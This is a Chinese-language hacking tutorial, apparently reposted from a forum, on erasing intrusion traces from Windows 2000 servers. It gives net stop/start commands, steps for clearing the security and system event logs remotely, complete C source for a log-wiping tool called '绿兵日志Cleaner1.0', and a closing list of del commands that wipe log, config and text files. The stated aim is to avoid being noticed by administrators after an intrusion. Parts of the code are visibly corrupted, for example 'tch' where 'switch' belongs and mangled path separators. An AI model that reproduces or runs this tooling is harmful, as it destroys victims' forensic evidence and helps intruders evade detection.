小榕的CLeanIIsLog,是一个不错的日志清除工具。不过可惜,只能清除IIS的日志,那ftp和shedule待产生的日志文件呢,我们一般只能手动清除。
Windows2000的日志文件通常有应用程序日志,安全日志、系统日志、DNS服务器日志、 FTP日志、WWW日志等等,可能会根据服务器所开启的服务不同。
一般步骤如下:
1.清除IIs的日志。
可不要小看IIS的日志功能,它可以详细的记录下你的入侵全过程,如如你用unicode入侵时ie里打的命令,和对80端口扫描时留下的痕迹。你可能就因为对其不注意,而被网管盯上,说不定还会.......呵呵 那我们就可手动清除吧
1.日志的默认位置:%systemroot%/system32/logfiles/w3svc1/,默认每天一个日志那我们就切换到这个目录下吧 del *.*
你大概想是安全了吧,那就dir一下吧 今天的日志怎么还在,不要慌。因为w3svc服务还开着,那我们怎么清除这个日志文件呢?
方法一:如有3389可以登录,那就用notepad打开,把Ctrl+A 然后del吧。
方法二:net 命令
C:/>net stop w3svc
World Wide Web Publishing Service 服务正在停止.(可能会等很长的时间,也可能不成功)
World Wide Web Publishing Service 服务已成功停止。
好了w3svc停止了,我们可以清空它的日志了,del *.*
还有不要忘了再打开w3svc服务呀
C:/>net start w3svc
2.清除ftp日志。
FTP日志默认位置:%systemroot%/sys tem32/logfiles/msftpsvc1/,默认每天一个日志
清除方法同上
3.清除Scheduler日志
Scheduler服务日志默认位置:%systemroot%/schedlgu.txt
清除方法同上
4.应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%/sys tem32/config
清除方法同上
注意以上三个目录可能不在上面的位置,那是因为管理员做的修改可以读取注册表值得到他们的位置应用程序日志,安全日志,系统日志,DNS服务器日志,它们这些LOG文件在注册表中的:
HKEY_LOCAL_MACHINE/sys tem/CurrentControlSet/Services/Eventlog
Schedluler服务日志在注册表中
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/SchedulingAgent
5.我是借鉴了别人文章(其实就是抄了)
OK!恭喜,现在简单的日志都已成功删除。下面就是很难的安全日志和系统日志了,守护这些日志的服务是Event Log,试着停掉它!
D:/SERVER/sys tem32/LogFiles/W3SVC1>net stop eventlog
这项服务无法接受请求的 "暂停" 或 "停止" 操作。
KAO,I 服了 U,没办法,它是关键服务。如果不用第三方工具,在命令行上根本没有删除安全日志和系统日志的可能!所以还是得用虽然简单但是速度慢得死机的办法:打开“控制面板”的“管理工具”中的“事件查看器”(98没有,知道用Win2k的好处了吧),在菜单的“操作”项有一个名为“连接到另一台计算机”的菜单,点击它如下图所示:
输入远程计算机的IP,然后点支烟,等上数十分钟,忍受象死机的折磨,然后打开下图:
选择远程计算机的安全性日志,右键选择它的属性:
点击属性里的“清除日志”按钮,OK!安全日志清除完毕!同样的忍受痛苦去清除系统日志!
6.上面大部分重要的日志你都已经清除了。然后要做的就是以防万一还有遗漏的了。
那就这样做吧 del以下的一些文件
/winnt/*.log
system32下
/logfiles/*.*
/dtclog/*.*
/config/*.evt
/*.log
/*.txt
到目前为止,我所知的大部分的日志我们已经教会了你清除的方法,那你就学以致用吧
前面你已经看到了要清除全部的日志的过程,是不是很繁呀,手动可是要花不少时间。有时候还不一定可以清除干净。那就于编程的朋友来说,那就会想,可以我会编程,我怕什么。
你已经了解了,要清除一些日志,首先要关闭一些服务程序那我就先教你怎么写一个可以看机器的服务程序的dos小工具吧,具体实现看我以前的文章《如果做一个dos下的服务程序查看器》
工具名serName.exe
运行一下serName.exe吧
serName.exe -t 1 -t 1
呵呵,所有的机器正在运行的服务程序显示出来了吧。
记住你要关的服务程序名吧,下面会有用的。
那编程的第二步就是实现关w3svc和shedule还有ftp等服务程序了。
我写的代码如下
对着msdn慢慢看吧。(不难的,有什么不懂不要来问我)
void StopServices(LPCTSTR lpServiceName)
{
SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_STOP);
if(sh)
{
BOOL bControl;
SERVICE_STATUS ServiceStatus;
bControl=ControlService(sh,SERVICE_CONTROL_STOP,&ServiceStatus);
DWORD dwControl;
if(bControl)
{
printf("success to stop the service /"%s/"/n",lpServiceName);
}
else
{
dwControl=::GetLastError();
tch(dwControl){
case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with the necessary access./n");break;
case ERROR_SERVICE_NOT_ACTIVE :printf("The service has not been started./n");break;
case ERROR_DEPENDENT_SERVICES_RUNNING :printf("The service cannot be stopped because other running services are dependent on it./n");break;
case ERROR_INVALID_SERVICE_CONTROL:printf("The requested control code is not valid, or it is unacceptable to the service./n");break;
case ERROR_SERVICE_CANNOT_ACCEPT_CTRL:printf("The requested control code cannot be sent to the service because the state of the service is SERVICE_STOPPED, SERVICE_START_PENDING, or SERVICE_STOP_PENDING./n");break;
case ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the start request in a timely fashion./n");break;
}
}
}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return;
}
函数有了,那就写个main函数试试吧
void main()
{
StopServices("W3SVC");
return;
}
ok.成功了,如果没有成功,请参照输出的错误提示。
好了有了一个可以停止的服务程序的函数,
那我们还需要一个可以开启服务程序的函数
其实以上的看懂了,下面的代码只是对上面的代码的一些小变动。
void StartServices(LPCTSTR lpServiceName)
{
SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_START);
if(sh)
{
BOOL bControl;
bControl=StartService(sh,1,&lpServiceName);
DWORD dwControl;
if(bControl)
{
printf("success to start the service /"%s/"/n",lpServiceName);
}
else
{
dwControl=::GetLastError();
tch(dwControl){
case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with SERVICE_START access./n");break;
case ERROR_INVALID_HANDLE :printf("The specified handle is invalid./n");break;
case ERROR_PATH_NOT_FOUND :printf("The service binary file could not be found./n");break;
case ERROR_SERVICE_ALREADY_RUNNING:printf("An instance of the service is already running./n");break;
case ERROR_SERVICE_DATABASE_LOCKED:printf("The database is locked./n");break;
case ERROR_SERVICE_DEPENDENCY_DELETED:printf("The service depends on a service that does not exist or has been marked for deletion./n");break;
case ERROR_SERVICE_DEPENDENCY_FAIL:printf("The service depends on another service that has failed to start./n");break;
case ERROR_SERVICE_DISABLED:printf("The service has been disabled./n");break;
case ERROR_SERVICE_LOGON_FAILED:printf("The service could not be logged on./n");break;
case ERROR_SERVICE_MARKED_FOR_DELETE:printf("The service has been marked for deletion./n");break;
case ERROR_SERVICE_NO_THREAD:printf("A thread could not be created for the service./n");break;
case ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the start request in a timely fashion./n");break;
}
}
}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return;
}
只是一些小变动。
现在你已经有了这两样武器,那下面的就是动用上面第一部分的一些知识,去del文件了,我想不用我教,你也一定想到怎么做了吧。
现在那再教第三个武器吧,虽然他对我们的程序可有可无,但对一个漂亮的程序他却是必需的,那就是一个判断服务程序状态的函数。
我的代码如下。
DWORD GetServicesState(LPCTSTR lpServiceName)
{
DWORD dwState;
SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_QUERY_STATUS);
if(sh)
{
BOOL bQuery;
SERVICE_STATUS ServiceStatus;
bQuery=QueryServiceStatus(sh,&ServiceStatus);
if(!bQuery)
{
DWORD dwControl;
dwControl=::GetLastError();
tch(dwControl){
case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with SERVICE_QUERY_STATUS access./n");break;
case ERROR_INVALID_HANDLE :printf("The specified handle is invalid./n");break;
}
dwState=0;
}
else
{
dwState=ServiceStatus.dwCurrentState;
}
}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return dwState;
}
好了现在什么都有了,那就把代码完成吧。
其他代码如下。希望你在运行前安照你入侵的系统的具体情况修改一下源代码。
//==========================================================//
// 绿兵日志Cleaner1.0 //
// Compiled by http://www.vertarmy.com 绿色兵团 //
// http://vcghost.yeah.net 编の魂(tryibest) //
// tjhacker@163.com //
// //
//==========================================================//
#include "windows.h"
#include "stdio.h"
void StopServices(LPCTSTR lpServiceName);
void StartServices(LPCTSTR lpServiceName);
DWORD GetServicesState(LPCTSTR lpServiceName);
void DelFiles(LPCTSTR lpFileName,LPCTSTR lpDirectory);
void Del3WFile();
void DelFtpFile();
void DelSheduleFile();
void DelOtherFile();
void ShowTitle();
void main(int argc, char *argv[])
{
ShowTitle();
DelOtherFile();
Del3WFile();
DelFtpFile();
DelSheduleFile();
ShowTitle();
return;
}
void StopServices(LPCTSTR lpServiceName)
{
SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_STOP);
if(sh)
{
BOOL bControl;
SERVICE_STATUS ServiceStatus;
bControl=ControlService(sh,SERVICE_CONTROL_STOP,&ServiceStatus);
DWORD dwControl;
if(bControl)
{
printf("success to stop the service /"%s/"/n",lpServiceName);
}
else
{
dwControl=::GetLastError();
tch(dwControl){
case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with the necessary access./n");break;
case ERROR_SERVICE_NOT_ACTIVE :printf("The service has not been started./n");break;
case ERROR_DEPENDENT_SERVICES_RUNNING :printf("The service cannot be stopped because other running services are dependent on it./n");break;
case ERROR_INVALID_SERVICE_CONTROL:printf("The requested control code is not valid, or it is unacceptable to the service./n");break;
case ERROR_SERVICE_CANNOT_ACCEPT_CTRL:printf("The requested control code cannot be sent to the service because the state of the service is SERVICE_STOPPED, SERVICE_START_PENDING, or SERVICE_STOP_PENDING./n");break;
case ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the start request in a timely fashion./n");break;
}
}
}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return;
}
void StartServices(LPCTSTR lpServiceName)
{
SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_START);
if(sh)
{
BOOL bControl;
bControl=StartService(sh,1,&lpServiceName);
DWORD dwControl;
if(bControl)
{
printf("success to start the service /"%s/"/n",lpServiceName);
}
else
{
dwControl=::GetLastError();
tch(dwControl){
case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with SERVICE_START access./n");break;
case ERROR_INVALID_HANDLE :printf("The specified handle is invalid./n");break;
case ERROR_PATH_NOT_FOUND :printf("The service binary file could not be found./n");break;
case ERROR_SERVICE_ALREADY_RUNNING:printf("An instance of the service is already running./n");break;
case ERROR_SERVICE_DATABASE_LOCKED:printf("The database is locked./n");break;
case ERROR_SERVICE_DEPENDENCY_DELETED:printf("The service depends on a service that does not exist or has been marked for deletion./n");break;
case ERROR_SERVICE_DEPENDENCY_FAIL:printf("The service depends on another service that has failed to start./n");break;
case ERROR_SERVICE_DISABLED:printf("The service has been disabled./n");break;
case ERROR_SERVICE_LOGON_FAILED:printf("The service could not be logged on./n");break;
case ERROR_SERVICE_MARKED_FOR_DELETE:printf("The service has been marked for deletion./n");break;
case ERROR_SERVICE_NO_THREAD:printf("A thread could not be created for the service./n");break;
case ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the start request in a timely fashion./n");break;
}
}
}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return;
}
DWORD GetServicesState(LPCTSTR lpServiceName)
{
DWORD dwState;
SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);
if(scman)
{
SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_QUERY_STATUS);
if(sh)
{
BOOL bQuery;
SERVICE_STATUS ServiceStatus;
bQuery=QueryServiceStatus(sh,&ServiceStatus);
if(!bQuery)
{
DWORD dwControl;
dwControl=::GetLastError();
tch(dwControl){
case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with SERVICE_QUERY_STATUS access./n");break;
case ERROR_INVALID_HANDLE :printf("The specified handle is invalid./n");break;
}
dwState=0;
}
else
{
dwState=ServiceStatus.dwCurrentState;
}
}
::CloseServiceHandle(sh);
}
::CloseServiceHandle(scman);
return dwState;
}
void DelFiles(LPCTSTR lpFileName,LPCTSTR lpDirectory)
{
TCHAR tcFileName[1024];
HANDLE hFile;
WIN32_FIND_DATA FindFileData;
hFile=FindFirstFile(lpFileName,&FindFileData);
if(hFile!=INVALID_HANDLE_value)
{
while(1)
{
lstrcpy(tcFileName,lpDirectory);
lstrcat(tcFileName,FindFileData.cFileName);
BOOL dDel=DeleteFile(tcFileName);
if(dDel)
{
printf("delete file /"%s/" success/n",tcFileName);
}
else
{
printf("delte file /"%s/" fail/n",tcFileName);
}
if(!FindNextFile(hFile,&FindFileData))
{
break;
}
}
}
FindClose(hFile);
}
void Del3WFile()
{
TCHAR tcSystemDirectory[1024];
::GetSystemDirectory(tcSystemDirectory,1024);
TCHAR tc3WDirectory[1024];
TCHAR tc3WFile[1024];
lstrcpy(tc3WDirectory,tcSystemDirectory);
lstrcpy(tc3WFile,tcSystemDirectory);
lstrcat(tc3WFile,"//logfiles//w3svc1//*.log");
lstrcat(tc3WDirectory,"//logfiles//w3svc1//");
DWORD dwState;
dwState=GetServicesState("w3svc");
if(dwState==SERVICE_RUNNING)
{
StopServices("w3svc");
::Sleep(1000);
DelFiles(tc3WFile,tc3WDirectory);
::Sleep(1000);//应该考虑用线程
StartServices("w3svc");
}
else
{
DelFiles(tc3WFile,tc3WDirectory);
}
}
void DelFtpFile()
{
TCHAR tcSystemDirectory[1024];
::GetSystemDirectory(tcSystemDirectory,1024);
TCHAR tcFtpDirectory[1024];
TCHAR tcFtpFile[1024];
lstrcpy(tcFtpDirectory,tcSystemDirectory);
lstrcpy(tcFtpFile,tcSystemDirectory);
lstrcat(tcFtpFile,"//logfiles//msftpsvc1//*.log");
lstrcat(tcFtpDirectory,"//logfiles//msftpsvc1//");
DWORD dwState;
dwState=GetServicesState("msftpsvc");
if(dwState==SERVICE_RUNNING)
{
StopServices("msftpsvc");
::Sleep(1000);
DelFiles(tcFtpFile,tcFtpDirectory);
::Sleep(1000);//应该考虑用线程
StartServices("msftpsvc");
}
else
{
DelFiles(tcFtpFile,tcFtpDirectory);
}
}
void DelSheduleFile()
{
TCHAR tcSystemDirectory[1024];
::GetSystemDirectory(tcSystemDirectory,1024);
TCHAR tcScheduleFile[1024];
lstrcpy(tcScheduleFile,tcSystemDirectory);
int iLength=lstrlen(tcScheduleFile);
while(1)
{
iLength--;
if(tcScheduleFile[iLength]=='//')
break;
}
tcScheduleFile[iLength]='/0';
lstrcat(tcScheduleFile,"//SchedLgU.txt");
DWORD dwState;
dwState=GetServicesState("schedule");
if(dwState==SERVICE_RUNNING)
{
StopServices("schedule");
::Sleep(1000);
BOOL dDel=DeleteFile(tcScheduleFile);
if(dDel)
{
printf("delete file /"%s/" success/n",tcScheduleFile);
}
else
{
printf("delte file /"%s/" fail/n",tcScheduleFile);
}
// DelFiles(tcScheduleFile,tcScheduleDirectory);
::Sleep(1000);//应该考虑用线程
StartServices("schedule");
}
else
{
BOOL dDel=DeleteFile(tcScheduleFile);
if(dDel)
{
printf("delete file /"%s/" success/n",tcScheduleFile);
}
else
{
printf("delte file /"%s/" fail/n",tcScheduleFile);
}
// DelFiles(tcScheduleFile,tcScheduleDirectory);
}
}
void DelOtherFile()
{
TCHAR tcSystemDirectory[1024];
::GetSystemDirectory(tcSystemDirectory,1024);
TCHAR tcOtherFile[1024];
TCHAR tcOtherDirectory[1024];
//删除logfiles下全部文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"//logfiles//*.*");
lstrcat(tcOtherDirectory,"//logfiles//");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除dtclog下全部文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"//dtclog//*.*");
lstrcat(tcOtherDirectory,"//dtclog//");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除config下全部文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"//config//*.*");
lstrcat(tcOtherDirectory,"//config//");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除system32下全部log文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"//*.log");
lstrcat(tcOtherDirectory,"//");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除system32下全部的txt文件
lstrcpy(tcOtherFile,tcSystemDirectory);
lstrcpy(tcOtherDirectory,tcSystemDirectory);
lstrcat(tcOtherFile,"//*.txt");
lstrcat(tcOtherDirectory,"//");
DelFiles(tcOtherFile,tcOtherDirectory);
//得到/winnt/目录路径
TCHAR tcWinDirectory[1024];
lstrcpy(tcWinDirectory,tcSystemDirectory);
int iLength=lstrlen(tcWinDirectory);
while(1)
{
iLength--;
if(tcWinDirectory[iLength]=='//')
break;
}
tcWinDirectory[iLength]='/0';
//删除/winnt/*.log
lstrcpy(tcOtherFile,tcWinDirectory);
lstrcpy(tcOtherDirectory,tcWinDirectory);
lstrcat(tcOtherFile,"//*.log");
lstrcat(tcOtherDirectory,"//");
DelFiles(tcOtherFile,tcOtherDirectory);
//删除/winnt/*.txt
lstrcpy(tcOtherFile,tcWinDirectory);
lstrcpy(tcOtherDirectory,tcWinDirectory);
lstrcat(tcOtherFile,"//*.txt");
lstrcat(tcOtherDirectory,"//");
DelFiles(tcOtherFile,tcOtherDirectory);
}
void ShowTitle()
{
printf("===========================================================/n");
printf("$ 绿兵日志Cleaner1.0 $/n");
printf("$ Compiled by http://www.vertarmy.com 绿色兵团 $/n");
printf("$ http://vcghost.yeah.net 编の魂(tryibest) $/n");
printf("$ tjhacker@163.com $/n");
printf("===========================================================/n");
}
( 转自黑白网络)
上次课上提到的几个清理日志的命令
del C:/winnt/system32/logfiles/*.*
del C:/winnt/ssytem32/config/*.evt
del C:/winnt/system32/dtclog/*.*
del C:/winnt/system32/*.log
del C:/winnt/system32/*.txt
del C:/winnt/*.txt
del C:/winnt/*.log
注解:里面的*代表的是全部的意思,例如:del C:/winnt/*.log 表示删除掉c盘winnt目录下所有的.log为扩展名的文件